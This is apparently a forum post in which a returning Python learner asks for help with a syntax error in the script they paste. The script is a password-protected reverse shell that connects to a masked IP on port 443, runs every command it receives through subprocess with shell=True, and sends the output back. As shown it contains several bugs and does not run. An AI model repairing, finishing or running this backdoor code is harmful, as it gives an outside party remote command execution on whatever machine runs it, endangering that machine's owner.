Hi, Just got back into python after 2 months of learning other stuff. Im getting an error on line 77. Pls help.
I think im missing something when calling methods, im not sure what though. CODE: import socket import subprocess ip = '************' port = '443' password = '**********' def login(): global s s.send("Login: ") pwd = s.recv(1024) if pwd.strip() != password: login() else: s.send("Connected #> ") shell() def shell(): while True: data = s.recv(1024) if data.strip() == ":kill": quit() proc = subprocess.popen(data, shell=true, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdir=subprocess.PIPE) output = proc.stdout.read() + proc.stderr.read() s.send(output) s.send("#> ") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((int(ip),int(port)) login() OUTPUT: File "./python.py", line 77 login() ^ SyntaxError: invalid syntax